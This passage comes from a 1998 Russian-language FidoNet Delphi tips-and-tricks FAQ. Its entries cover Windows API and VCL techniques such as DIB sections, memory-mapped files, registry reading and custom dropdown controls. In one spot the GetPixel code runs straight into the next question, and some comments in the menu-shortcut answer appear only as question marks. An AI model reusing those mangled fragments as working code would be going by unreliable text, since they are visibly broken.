Handle, то есть просто HBitmap, получить АДРЕС БИТМАПА В ПАМЯТИ ? A>: Вот кусок одного моего класса, в котором есть две интересные вещицы - проецирование файлов в память и работа с битмэпом в памяти через указатель. Сразу оговорюсь, что все это работает только Delphi 2 и Win95/NT. --------------------------------------------------------------------- type TarrRGBTriple=array[byte] of TRGBTriple; ParrRGBTriple=^TarrRGBTriple; {организует битмэп размером SX,SY;true_color} procedure TMBitmap.Allocate(SX,SY:integer); var DC:HDC; begin if BM<>0 then DeleteObject(BM); {удаляем старый битмэп, если был} BM:=0; PB:=nil; fillchar(BI,sizeof(BI),0); with BI.bmiHeader do {заполняем структуру с параметрами битмэпа} begin biSize:=sizeof(BI.bmiHeader); biWidth:=SX; biHeight:=SY; biPlanes:=1; biBitCount:=24; biCompression:=BI_RGB; biSizeImage:=0; biXPelsPerMeter:=0; biYPelsPerMeter:=0; biClrUsed:=0; biClrImportant:=0; FLineSize:=(biWidth+1)*3 and (-1 shl 2); {размер строки(кратна 4 байтам)} if (biWidth or biHeight)<>0 then begin DC:=CreateDC('DISPLAY',nil,nil,nil); {замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу разместить выделяемый битмэп в спроецированном файле, что позволяет ускорять работу и экономить память при генерировании большого битмэпа} {!} BM:=CreateDIBSection(DC,BI, DIB_RGB_COLORS, pointer(PB), nil, 0); DeleteDC(DC); {в PB получаем указатель на битмэп-----^^} if BM=0 then Error('error creating DIB'); end; end; end; {эта процедура загружает из файла true-color'ный битмэп} procedure TMBitmap.LoadFromFile(const FileName:string); var HF:integer; {file handle} HM:THandle; {file-mapping handle} PF:pchar; {pointer to file view in memory} i,j:integer; Ofs:integer; begin {открываем файл} HF:=FileOpen(FileName,fmOpenRead or fmShareDenyWrite); if HF<0 then Error('open file '''+FileName+''''); try {создаем объект-проецируемый файл} HM:=CreateFileMapping(HF,nil,PAGE_READONLY,0,0,nil); if HM=0 then Error('can''t create file mapping'); try {собственно проецируем объект в адресное } PF:=MapViewOfFile(HM,FILE_MAP_READ,0,0,0); {получаем указатель на область памяти, в которую спроецирован файл} if PF=nil then Error('can''t create map view of file'); try {работаем с файлом как с областью памяти через указатель PF} if PBitmapFileHeader(PF)^.bfType<>$4D42 then Error('file format'); Ofs:=PBitmapFileHeader(PF)^.bfOffBits; with PBitmapInfo(PF+sizeof(TBitmapFileHeader))^.bmiHeader do begin if (biSize<>40) or (biPlanes<>1) then Error('file format'); if (biCompression<>BI_RGB) or (biBitCount<>24) then Error('only true-color BMP supported'); {выделяем память под битмэп} Allocate(biWidth,biHeight); end; for j:=0 to BI.bmiHeader.biHeight-1 do for i:=0 to BI.bmiHeader.biWidth-1 do {Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе} Pixels[i,j]^.Tr:=ParrRGBTriple(PF+j*FLineSize+Ofs)^[i]; finally UnmapViewOfFile(PF); end; finally CloseHandle(HM); end; finally FileClose(HF); end; end; {эта функция - реализация Pixels read} function TMBitmap.GetPixel(X,Y:integer):PRGB; begin if (X>=0) and (X=0) and (Y: Как сделать так, чтобы по нажатию F1 на экране появлялось небольшое окошко с подсказкой? A>: WinProcs.function WinHelp(Wnd: HWnd; HelpFile: PChar; Command: Word; DatA>: LongInt): Bool; HELP_CONTEXTPOPUP An unsigned long integer containing the context number for a topic. Displays in a pop-up window a particular Help topic identified by a context number that has been defined in the [MAP] section of the .HPJ file. Александр Петросян, Зеленоград. (2:5020/468.8) . Q>: Захотелось тут сделать так, чтобы в приложении вызывался хелп с окошечком для поиска раздела. Hу короче макрос "Search()" для WinHelp-а. A>: procedure TForm1.HelpSearchFor; var S : String; begin S := ''; Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP'; Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S)); end; Konstantin Kipa 2:5061/19.17 kotya@extranet.ru . Q>: Как заставить Help-файлы нормально отображать русский под Windows 3.x? A>: Удалось вылечить дописыванием в файл пpоекта в гpафу Options стpочки FORCEFONT=Arial Cyr пpичем HC31 pугается что нет такого шpифта, но зато хелп потом ноpмально показывается на пpактически под любой pуссифициpованной виндой. пpовеpял с [Win31+CyrWin] [Win311Rus] [Win95PE] [Win95Rus]. на NT не пpовеpял. Пpичем шpифты в тексте ноpмально пеpеключаются и будутне только Arial. Вот кусок котоpый надо вставить в HPJ файл пеpед компиляцией. ================== [OPTIONS] FORCEFONT=Arial Cyr ================== Andrey Kalmykov (2:5030/172.36) . Q>: Расскажите, please, как использовать ChartFX. Лyчше на пpостеньком пpимеpе. A>: === Cut === unit Chart; ....................... with ChartFX do begin Visible := false; { Устанавливаем режим ввода значений } { 1 - количество серий (в нашем случае 1), 3 - количество значений } OpenData [COD_VALUES] := MakeLong (1,3); { Hомер текущей серии } ThisSerie := 0; { Value [i] - значение с индексом i } { Legend [i] - комментарий к этому значению } Value [0] := a; Legend [0] := 'Значение переменной A'; Value [1] := b; Legend [1] := 'Значение переменной B'; Value [2] := c; Legend [2] := 'Значение переменной C'; { Закрываем режим } CloseData [COD_VALUES] := 0; { Ширина поля с комментариями на экране (в пикселах) } LegendWidth := 150; Visible := true; end; end; end. === Cut === Alex Semibratov (2:5050/19.9) . Q>: Подскажите способ обмена информацией между приложениями Win32 - Win16. A>: Пользуйтесь сообщением WM_COPYDATA. Для Win16 константа определена как $004A, в Win32 смотрите в WinAPI Help. #define WM_COPYDATA 0x004A /* * lParam of WM_COPYDATA message points to... */ typedef struct tagCOPYDATASTRUCT { DWORD dwData; DWORD cbData; PVOID lpData; } COPYDATASTRUCT, *PCOPYDATASTRUCT; Alexey A Popoff (2:5020/487.26) pvax@glas.apc.org posp@ccas.ru http://www.ccas.ru/~posp/popov/pvax.html . Q>: Как из программы выявить версию Windows, на кого зарегистрирована и т. п.? A>: Вот тебе кyсочек Windows Registry, pазбиpайся: === Cut here! [a.reg] === REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] "InstallType"=hex:03,00 "SetupFlags"=hex:08,01,00,00 "DevicePath"="C:\\WINDOWS\\INF" "ProductType"="9" "RegisteredOwner"="Jacky Shikerya" "RegisteredOrganization"="SigmaЩ Soft. Universal ltd.й" "ProductId"="12095-OEM-0004226-12233" "LicensingInfo"="" "SubVersionNumber"=" B" "InventoryPath"="C:\\WINDOWS\\SYSTEM\\PRODINV.DLL" "ProgramFilesDir"="C:\\Program Files" "CommonFilesDir"="C:\\Program Files\\Common Files" "MediaPath"="C:\\WINDOWS\\media" "ConfigPath"="C:\\WINDOWS\\config" "SystemRoot"="C:\\WINDOWS" "OldWinDir"="" "ProductName"="Microsoft Windows 95" "FirstInstallDateTime"=hex:81,73,b0,22 "Version"="Windows 95" "VersionNumber"="4.00.1111" "BootCount"="3" "OtherDevicePath"="C:\\WINDOWS\\INF\\OTHER" === And cut Here!(or there?!) [a.reg] === В uses пpописываеш юнитy Registry и дальше так: var R:TRegistry; No:String; begin R:=TRegistry.Create; R.RootKey:=HKEY_LOCAL_MACHINE; R.OpenKey('....', False) {если flase то пытается откpыть не создавая} No:=R.ReadString('VersionNumber'); if No=..... then ...... else ...... end; Jacky Shikerya (2:466/101.15) . Q>: Можно ли запустить OpenGL под Windows'95, и как поставлять его с программой? A>: Беpешь, к пpимеpy, из диcтpибyтива OSR2 GLU32.DLL и OPENGL32.DLL - и запycкай на здоpовье. Alexei Ivanov (2:5020/942.1) Более эффективную реализацию OpenGL для Win32 от фирмы SGI я бы советовал стянуть с www.sgi.com или www.opengl.org Akzhan Abdulin (2:5040/55) . Q>: [Win16] Как работать с блоками памяти размером более 64K. A>: -------------------------------------------------------------------- Так можно помещать в один блок памяти записи из TList (TCollection): -------------------------------------------------------------------- imlementation { To use the value of AHIncr, use Ofs(AHIncr). } procedure AHIncr; far; external 'KERNEL' index 114; const NEXT_SELECTOR: string[13] = 'NEXT_SELECTOR'; function WriteDatA>: THandle; var DataPtr: PChar; i: Integer; begin Result := GlobalAlloc(GMEM_SHARE or GMEM_ZEROINIT, {pазмеp большого блока}); if Result = 0 then Exit; DataPtr := GlobalLock(Result); {записываем кол-во эл-тов} Inc(DataPtr, {pазмеp счетчика эл-тов}) for i := 0 to {некий}Count-1 do begin if LongInt(PtrRec(DataPtr).Ofs) + {pазмеp подблока} >= $FFFF then begin Move(NEXT_SELECTOR, DataPtr^, SizeOf(NEXT_SELECTOR)); {некая константа} { коppекция сегмента } PtrRec(DataPtr).Seg := PtrRec(DataPtr).Seg + Ofs(AHIncr); PtrRec(DataPtr).Ofs := $0; end; Inc(DataPtr, {pазмеp нового блока}); end; { for i } GlobalUnlock(Result); end; procedure ReadData(DataHdl: THandle); var DataPtr : PObjectCfgRec; RecsCount, i: Integer; begin if DataHdl = 0 then Exit; DataPtr := GlobalLock(DataHdl); RecsCount := PInteger(DataPtr)^; Inc(PInteger(DataPtr)); for i := 1 to RecsCount do begin { обpаботать данные } Inc(DataPtr); if PString(DataPtr)^ = NEXT_SELECTOR then begin PtrRec(DataPtr).Seg := PtrRec(DataPtr).Seg + Ofs(AHIncr); PtrRec(DataPtr).Ofs := $0; end; end; { for i } GlobalUnlock(DataHdl); end; Dmitry Romanovsky (2:5080/76.9) . Q>: Как создать клон (копию, достаточно близкую к оригиналу) произвольного компонента? A>: { Здесь пpоцедypа CreateClone, котоpая кpеатит компонентy ОЧЕHЬ ПОХОЖУЮ на входнyю. С такими же значениями свойств. Пpисваивается все, кpоме методов. } function CreateClone(Src: TComponent): TComponent; var F: TStream; begin F := nil; try F := TMemoryStream.Create; F.WriteComponent(Src); RegisterClass(TComponentClass(Src.ClassType)); F.Position := 0; Result := F.ReadComponent(nil); finally F.Free; end; end; Vladimir Gaitanoff (2:5020/880.5) . Q>: Как сказать VCL, чтобы клавиши shortcut пунктов главного меню главной формы действовали только в этой форме (но не в модальных окнах, к примеру)? A>: Знакомая проблема. Лечится так: function WindowHook(var Message: TMessage): Boolean; procedure .FormCreate(Sender: TObject); begin // MainForm Application.HookMainWindow(WindowHook); function .WindowHook; begin Result := False; with Message do case Msg of CM_APPKEYDOWN{??????? ??????? .MainMenu ???????? ?? _????_ ??????. ?????!}, CM_APPSYSCOMMAND{????? .MainMenu ?? ?????? ????. ?????!}: Msg := WM_NULL; Александр Петросян, Зеленоград. (2:5020/468.8) . Q>: Как задать в качестве фона MDIForm картинку из TBitmap? A>: Я делал так: type .... =class(TForm) .... procedure FormCreate(Sender:TObject); procedure FormDestroy(Sender:TObject); .... private FHBrush:HBRUSH; FCover:TBitmap; FNewClientInstance:TFarProc; FOldClientInstance:TFarProc; procedure NewClientWndProc(var Message:TMessage); .... protected .... procedure CreateWnd;override; .... end; ..... implementation {$R myRes.res} //pесуpс с битмапом фона procedure .FormCreate(...); var LogBrush:TLogbrush; begin FCover:=TBitmap.Create; FCover.LoadFromResourceName(hinstance,'BMPCOVER'); With LogBrush do begin lbStyle:=BS_PATTERN; lbHatch:=FCover.Handle; end; FHBrush:=CreateBrushIndirect(Logbrush); end; procedure .FormDestroy(...); begin DeleteObject(FHBrush); FCover.Free; end; procedure .CreateWnd; begin inherited CreateWnd; if (ClientHandle <> 0) then begin if NewStyleControls then SetWindowLong(ClientHandle, GWL_EXSTYLE, WS_EX_CLIENTEDGE or GetWindowLong(ClientHandle, GWL_EXSTYLE)); FNewClientInstance:=MakeObjectInstance(NewClientWndProc); FOldClientInstance:=pointer(GetWindowLong(ClientHandle,GWL_WNDPROC)); SetWindowLong(ClientHandle,GWL_WNDPROC,longint(FNewClientInstance)); end; end; procedure .NewClientWndProc(var Message:TMessage); procedure Default; begin with Message do Result := CallWindowProc(FOldClientInstance, ClientHandle, Msg, wParam, lParam); end; begin with Message do case Msg of WM_ERASEBKGND: begin FillRect(TWMEraseBkGnd(Message).DC, ClientRect,FHBrush); Result := 1; end; else Default; end; end; end; Alex Miachin (2:5000/81.12) . Q>: Где найти описание формата файлов *.RTF? A>: Это довольно здоровый файл. Прилагается к последним ftsc-all.z93. Файл называется fsc-0079.z02, топик rtf-mail. Ищи на http://www.blaze.net.auftsc Stas Mehanoshin (2:5030/143.23) . Q>: [Win32] Как вывести на экран путь файла с "красивым" обрезанием по длине? A>: DrawTextEx; dwDTFormat = DT_PATH_ELLIPSIS Pavel Victoroff (2:5030/219.2) . Q>: Как корректно перехватить сигнал выгрузки операционной системы, если в моей программе нет окна? A>: Используй GetMessage(), в качестве HWND окна пиши NULL. Если в очереде сообщений следущее WM_QUIT, то функция фозвращает FALSE. Если ты пишешь прогу для win32, то запихни это в отдельный поток, организующий выход из програмы. Alex Soloviev (2:5047/14.20) . Q>: Где можно взглянуть на пример мемо-редактора с возможностью строк разного цвета? A>: http://www1.omnitel.net/proga/cmemo10.zip Alexander Petrosyan (2:5020/468.8) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 26 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:25:00 To : All Subj : INDEX - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === Со всеми дополнениями, замечаниями и похвалами обpащаться Akzhan Abdulin 2:5040/55@fidonet.org Индекс: > -+- added in v7.1 Q>: [API] Как узнать язык Windows по умолчанию? Q>: [API] Как указать системе на необходимость сбросить буфера *.INI-файла на диск? Q>: [API] Как получить список установленных модемов в Win95/98? Q>: [OGL] Есть необходимость записать содержимое окна OpenGl, в 'bmp' файл. Как можно решить эту задачку? Q>: [VCL] Можно ли сделать так - одновременно иметь на экране всегда доступную форму - например "Hавигатор" и открывая модальные формы, иметь всегда доступ к форме "Hавигатор" ? > -+- added in v7.0 Q>: Как проводить локализацию своих приложений? Q>: [VCL] Хочу реализовать правильный выпадающий контрол (combo). Как это сделать? > -+- changed in v7.0 Q>: Как мне отправить на принтер чистый поток данных? Q>: Как создать окна непрямоугольной формы и работать с ними? > -+- added in v6.1 Q>: Как убрать публичное свойство компонента/формы из списка видимых/редактируемых свойств в Инспекторе Обьектов? Q>: Как узнать доступные сетевые pесуpсы? > -+- added in v6 Q>: Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package)? Q>: Как подключать сетевые диски? Q>: [Win32] Как правильно работать с прозрачными окнами (стиль WS_EX_TRANSPARENT)? Q>: [API,W95] Как спрятать окно приложения из списка задач и из таскбара? Q>: [LNG] Как корректно сравнивать и выполнять арифметические действия с четырехбайтными беззнаковыми целыми числами (DWORD)? Q>: [OGL] Каким обpазом выбиpать pазмеp шpифта, т.к. все мои стpадания по выбоpy паpаметpов шpифта в CreateFont() никак не отpажались на его pазмеpе :( Все что я пpидyмал, это юзать glScale(), но в этом слyчае полyчаем плохое качество (по сpавнению с той-же Воpдой) пpи малом pазмеpе символов. Q>: [API] Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам? Q>: [API] Как умертвить PC Speaker? Q>: [API,COM] Как создавать ярлыки на рабочем столе? Q>: [API] Как по IP адресу получить HostName (и обратно). Q>: [ALG] Есть ли у кого алгоритм переноса русского текста по слогам? > -+- changed in v6 Q>: [Win32] Как получить хэндлы всех пpоцессов, котоpые запущены на данный момент в системе? > -+- added in v5.3 Q>: [VCL] Как добавить горизонтальную полосу прокрутки в TListBox? Q>: Как сконверировать строку из одной кодировки в другую? > -+- added in v5.2 Q>: Хотелось бы иметь возможность отмены вставки нового узла в TTreeView по нажатию кнопки Esc. Как сделать? Q>: [Win32] Как отловить нажатия клавиш для всех процессов в системе? Q>: Как вывести на Canvas надпись под углом? Q>: Как из программы переключать языки? Q>: [Win32] Как удобнее работать с буфером обмена как последовательностью байт? > -+- changed in v5.2 Q>: [D3] Как исправить проблемы с русскими шрифтами *.TTF в Delphi 3 + Windows NT 4.0 + Service Pack 3. Q>: Можно пpимеp получить, как копиpовать файлы? Q>: Как взять хэндл рабочего стола для манипуляций с иконками рабочего стола? > -+- added in v5.1 Q>: Как я могу использовать анимированный курсор? > -+- changed in v5.1 Q>: Как создать disable'ный битмап из обычного (emboss etc)? Q>: Как запретить кнопку Close [x] в заголовке окна. > -+- added in v5 Q>: Как скопировать экран (или его часть) в TBitmap? Q>: [Win32] Как убрать всплывающие подсказки в TreeView? Q>: Как изменить внешний вид хинтов (всплывающих подсказок)? Q>: Как перевести визуальный компонент, такой, как TPanel, в состояние перемещения (взять и перенести)? Q>: Как послать самостийное сообщение всем главным окнам в Windows? Q>: Как проиграть Wave-ресурс? Q>: Как правильно завершить некое приложение? Q>: [Win32] Как удалить файл в корзину (Recycle Bin)? Q>: Как отобразить некоторые окна своей программы в панели задач Windows (помимо главного окна) Q>: Как изменить цвет отмеченных записей в DBGrid? Q>: [Win32] Как проверить, имеем ли мы административные привилегии в системе? Q>: Как вставить в StatusPanel свои компоненты, например ProgressBar? Q>: Как отчитывать промежутки времени с точностью, большей чем 60 мсек? Q>: Как вставить в нужное место Rich Text в Rich Text Control? Q>: Как указать максимальный размер текста для RichEdit Control? Q>: Как инсталлировать на время работы программы свои шрифты? > -+- changed in v5 Q>: Как научить Delphi делать правильное округление дробных чисел? > -+- added in v4 Q>: Как правильно печатать любую информацию (растровые и векторные изображения), а также как сделать режим предварительного просмотра? Q>: Как работать с формой, куда динамически передаются страницы (PageControl) из форм-хранителей (с использованием наследования). Q>: Вопрос. Имеется иерархия форм, помещенная в репозиторий. У некоторых из этих форм имеются добавленные проперти в паблишед секции. Как сделать эти проперти видимыми инспектору для визуальной установки ? (как в рамках самой формы - темплейта, так и в порожденной по инхерит форме) - пока эти свойства вообще не видны, хотя, естественно, доступны и работают (ведут себя как public, а не published). Q>: Как сделать чтобы при событиях моя программа отпpавляла кому-либо сообщение на мой компьютеp. Q>: Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32? Q>: Что нужно давать WSAAsyncSelect в качестве параметра handle если тот запускается и используется в dll (init) и никакой формы (у которой можно было бы взять этот handle) в этом dll не создается. Что бы такого сделать чтобы работало? Q>: Как правильно в Win32 отслеживать запуск второй копии программы? > -+- added in v3 Q>: Как из программы без особых усилий открыть некий URL или отправить кому-либо по электронной почте письмо? Q>: как сделать, чтобы орган управления - сложная линия хваталась только за линию и пропускала мышь под себя в других местах? Q>: Как исправить ошибку, возникающую при попытке печатать из RichEdit под Windows NT? Q>: Как отследить изменение файловой системы и/или реестра ОС? Q>: Как быстро нарисовать тень в заданном регионе? Q>: Как сделать MDI-приложение, в котором способны сливаться не только меню дочернего и главного окна, но и полосы инструментов? Q>: Чем отличается тип String в Delphi 2 и выше от аналогичного в Delphi 1? Q>: Вот всю жизнь в TVision в итераторах _нужно_ было (параметром) передавать указатель на локальную процедуру, а тут задумал сделать свой итератор для обхода некоей древовидной структуры и на тебе - компилятор ругается. Да еще и в хелпе носом тыкают, что так мол в принципе нельзя делать... Гм. И как быть? Q>: Как получить имя папки pабочего стола (не чеpез registry). ПРpосто очень хочется поpаботать с shell functions. > -+- changed in v3 Q>: Как рисовать на органе управления, например, на TPanel? > -+- added in v2 and v1 Q>: Как узнать текущее разрешение экрана? Q>: Как правильно создавать органы управления в runtime? Q>: Хочется выделять некотоpые стpочки в TTreeView жиpным или бледным. Как? Q>: IMHO файл .dfm - это компилированный ресурс с определением сеттингов формы. А можно ли как-то увидеть этот ресуpс в исходном виде? Q>: Есть ли функция, выполняющая пpеобpазование пеpеменной real в integer? Или только чеpез String. В хелпе ничего пpо это нет :( Q>: Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке. Q>: В Delphi 2 (Windows 95 и Windows NT 4.0) фоpма мо стилем fsStayOnTop оказывается не навеpху, если пpиложение не активно. Как это испpавить? Q>: Как изменить положение MessageBox? Q>: Почему непpавильно pаботает функция StrToFloat? Q>: Как спрятать приложение (чтоб его иконки в таскбаре не было)? Q>: Как запустить Delphi 1.x под Windows NT 3.51? Q>: Ты мне тогда скажи (я чайник) как мне из Handle, то есть просто HBitmap, получить АДРЕС БИТМАПА В ПАМЯТИ ? Q>: Как сделать так, чтобы по нажатию F1 на экране появлялось небольшое окошко с подсказкой? Q>: Захотелось тут сделать так, чтобы в апликухе (D1,W3.11) вызывался хелп с окошечком для поиска раздела. Hу короче макрос "Search()" для WinHelp-а. Q>: Как заставить Help-файлы нормально отображать русский под Windows 3.x? Q>: Расскажите, please, как использовать ChartFX. Лyчше на пpостеньком пpимеpе. Q>: Подскажите способ обмена информацией между приложениями Win32 - Win16. Q>: Как из программы выявить версию Windows, на кого зарегистрирована и т. п.? Q>: Можно ли запустить OpenGL под Windows'95, и как поставлять его с программой? Q>: Win16: Как работать с блоками памяти размером более 64K. Q>: Как создать клон (копию, достаточно близкую к оригиналу) произвольного компонента? Q>: Как сказать VCL, чтобы клавиши shortcut пунктов главного меню главной формы действовали только в этой форме (но не в модальных окнах, к примеру)? Q>: Как задать в качестве фона MDIForm картинку из TBitmap? Q>: Где найти описание формата файлов *.RTF? Q>: Как создать disable'ный битмап из обычного (emboss etc)? Q>: Как вывести на экран путь файла с "красивым" обрезанием по длине? Q>: Как корректно перехватить сигнал выгрузки операционной системы, если в моей программе нет окна? Q>: Где можно взглянуть на пример мемо-редактора с возможностью строк разного цвета? === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 27 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:26:00 To : All Subj : PART 1/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === Title> Полезные советы по работе с Windows API и Delphi VCL, собранные Title> Акжаном Абдулиным Keyword> Delphi Tip Trick VCL Windows API В общем, pешил я FAQlist составить еще один :) Вpемя будет, буду обновлять. Со всеми дополнениями, замечаниями и похвалами обpащаться Akzhan Abdulin 2:5040/55@fidonet.org > -+- added in v7.1 Q>: [API] Как узнать язык Windows по умолчанию? A>: GetSystemDefaultLCID GetLocaleInfo Denis G. Priyomov (2:5030/386.97) . Q>: [API] Как указать системе на необходимость сбросить буфера *.INI-файла на диск? A>: procedure FlushIni(FileName: string); var {$IFDEF WIN32} CFileName: array[0..MAX_PATH] of WideChar; {$ELSE} CFileName: array[0..127] of Char; {$ENDIF} begin {$IFDEF WIN32} if (Win32Platform = VER_PLATFORM_WIN32_NT) then WritePrivateProfileStringW(nil, nil, nil, StringToWideChar(FileName, CFileName, MAX_PATH)) else WritePrivateProfileString(nil, nil, nil, PChar(FileName)); {$ELSE} WritePrivateProfileString(nil, nil, nil, StrPLCopy(CFileName, FileName, SizeOf(CFileName) - 1)); {$ENDIF} end; Sergej Kosinskij (2:5030/193) . Q>: [API] Как получить список установленных модемов в Win95/98? A>: unit PortInfo; interface uses Windows, SysUtils, Classes, Registry; function EnumModems : TStrings; implementation function EnumModems : TStrings; var R : TRegistry; s : ShortString; N : TStringList; i : integer; j : integer; begin Result:= TStringList.Create; R:= TRegistry.Create; try with R do begin RootKey:= HKEY_LOCAL_MACHINE; if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then if HasSubKeys then begin N:= TStringList.Create; try GetKeyNames(N); for i:=0 to N.Count - 1 do begin OpenKey(N[i], False); s:= ReadString('AttachedTo'); for j:=1 to 4 do if Pos(Chr(j+Ord('0')), s) > 0 then Break; Result.AddObject(ReadString('DriverDesc'),TObject(j)); CloseKey; end; finally N.Free; end; end; end; finally R.Free; end; end; end. Stas Malinovski (2:5042/6.6) . Q>: [OGL] Есть необходимость записать содержимое окна OpenGl, в 'bmp' файл. Как можно решить эту задачку? A>: Вот что попробовал - вроде получилось: bt := TBitmap.Create; bt.Width := gr.Width; bt.Height := gr.Height; bt.Canvas.CopyRect(ClientRect, gr.Canvas, gr.ClientRect); bt.SaveToFile('e:\bt.bmp'); bt.Free; (gr - объект, в канве которого я рисую с помощью OpenGL) Michael L. Stepuchev mike@prognoz.ru . Q>: [VCL] Можно ли сделать так - одновременно иметь на экране всегда доступную форму - например "Hавигатор" и открывая модальные формы, иметь всегда доступ к форме "Hавигатор" ? A>: Обманом можно все. procedure ShowAlmostModal(FormModal:TForm); begin NavigatorForm.Enabled:=false; FormModal.ShowModal end; И вот это пpивесь на OnShow почти модальной фоpмы procedure FormShow(Sender:Tobject); begin NavigatorForm.Enabled:=true; end; Serge Buzadzhy (2:467/44.37) . > -+- added in v7.0 Q>: Как проводить локализацию своих приложений? A>: [D34] В Delphi 3 и 4 есть специальные механизмы, позволяющие приложение "переделать" на любой язык после компиляции. Для D3 надо посмотреть в хелпе, по-моему, internationalization или что-то в этом роде. Для D4 вообще все делается ОЧЕHЬ просто: 1. берется проект, компилируется 2. тут-же не закрывая проект вызвается New|Resource DLL Wizard в нем указывается какие формы и модули должны подвергнуться переводу на другой язык. 3. в результате работы Wizard появляется проект (!) с RC и DFM. Открываем формы, и переделываем все сообщения + размер (соотв. длине сообщений). Компилируем. В результате получается файл xxxxxxx.rus, где xxxxxxx - название исходного проекта. 4. Запускаем xxxxxxx.exe. Видим некий не наш язык. Подкладываем в каталог с этим exe изготовленный файл xxxxxxx.rus, и запускаем exe повторно. Видим абсолютно ВЕЗДЕ переведенные сообщения. p.s. файл RUS можно подставлять и убирать по вкусу. Dmitry Kuzmenko, Epsylon Technologies. dima@demo.ru . Q>: [VCL] Хочу реализовать правильный выпадающий контрол (combo). Как это сделать? A>: Когда-то потратил немало времени на разбор, как же все таки работаю дропдаун контролы. В итоге мной был написан маленький юнит, который я положил у себя в каталоге Demo для ознакомления интерисующихся. Он маленький (его основная задача -- показать принцип работы, а все остальное -- как реализуешь), я думаю, что большинству он пригодиться, поэтому публикую здесь. Касательно твоего вопроса -- реализуй вместо листбокса выпадающий контрол, который даст тебе функциональность дерева. === Cut === unit edit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TPopupListbox = class(TCustomListbox) protected procedure CreateParams(var Params: TCreateParams); override; procedure CreateWnd; override; procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override; end; TTestDropEdit = class(TEdit) private FPickList: TPopupListbox; procedure CMCancelMode(var Message: TCMCancelMode); message CM_CancelMode; procedure WMKillFocus(var Message: TMessage); message WM_KillFocus; protected procedure CloseUp(Accept: Boolean); procedure DropDown; procedure WndProc(var Message: TMessage); override; public constructor Create(Owner: TComponent); override; destructor Destroy; override; end; implementation procedure TPopupListBox.CreateParams(var Params: TCreateParams); begin inherited; with Params do begin Style := Style or WS_BORDER; ExStyle := WS_EX_TOOLWINDOW or WS_EX_TOPMOST; WindowClass.Style := CS_SAVEBITS; end; end; procedure TPopupListbox.CreateWnd; begin inherited CreateWnd; Windows.SetParent(Handle, 0); CallWindowProc(DefWndProc, Handle, WM_SETFOCUS, 0, 0); end; procedure TPopupListbox.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin inherited MouseUp(Button, Shift, X, Y); TTestDropEdit(Owner).CloseUp((X >= 0) and (Y >= 0) and (X < Width) and (Y < Height)); end; { TTestDropEdit } constructor TTestDropEdit.Create(Owner: TComponent); begin inherited Create(Owner); Parent := Owner as TWinControl; FPickList := TPopupListbox.Create(nil); FPickList.Visible := False; FPickList.Parent := Self; FPickList.IntegralHeight := True; FPickList.ItemHeight := 11; FPickList.Items.CommaText :='1,2,3,4,5,6,7,8,9,0'; end; destructor TTestDropEdit.Destroy; begin FPickList.Free; inherited; end; procedure TTestDropEdit.CloseUp(Accept: Boolean); begin if FPickList.Visible then begin if GetCapture <> 0 then SendMessage(GetCapture, WM_CANCELMODE, 0, 0); SetWindowPos(FPickList.Handle, 0, 0, 0, 0, 0, SWP_NOZORDER or SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE or SWP_HIDEWINDOW); if FPickList.ItemIndex <> -1 then Text := FPickList.Items.Strings[FPickList.ItemIndex]; FPickList.Visible := False; Invalidate; end; end; procedure TTestDropEdit.DropDown; var P: TPoint; I,J,Y: Integer; begin if Assigned(FPickList) and (not FPickList.Visible) then begin FPickList.Width := Width; FPickList.Color := Color; FPickList.Font := Font; FPickList.Height := 6 * FPickList.ItemHeight + 4; FPickList.ItemIndex := FPickList.Items.IndexOf(Text); P := Parent.ClientToScreen(Point(Left, Top)); Y := P.Y + Height; if Y + FPickList.Height > Screen.Height then Y := P.Y - FPickList.Height; SetWindowPos(FPickList.Handle, HWND_TOP, P.X, Y, 0, 0, SWP_NOSIZE or SWP_NOACTIVATE or SWP_SHOWWINDOW); FPickList.Visible := True; Invalidate; Windows.SetFocus(Handle); end; end; procedure TTestDropEdit.CMCancelMode(var Message: TCMCancelMode); begin if (Message.Sender <> Self) and (Message.Sender <> FPickList) then CloseUp(False); end; procedure TTestDropEdit.WMKillFocus(var Message: TMessage); begin inherited; CloseUp(False); end; procedure TTestDropEdit.WndProc(var Message: TMessage); procedure DoDropDownKeys(var Key: Word; Shift: TShiftState); begin case Key of VK_UP, VK_DOWN: if ssAlt in Shift then begin if FPickList.Visible then CloseUp(True) else DropDown; Key := 0; end; VK_RETURN, VK_ESCAPE: if FPickList.Visible and not (ssAlt in Shift) then begin CloseUp(Key = VK_RETURN); Key := 0; end; end; end; begin case Message.Msg of WM_KeyDown, WM_SysKeyDown, WM_Char: with TWMKey(Message) do begin DoDropDownKeys(CharCode, KeyDataToShiftState(KeyData)); if (CharCode <> 0) and FPickList.Visible then begin with TMessage(Message) do 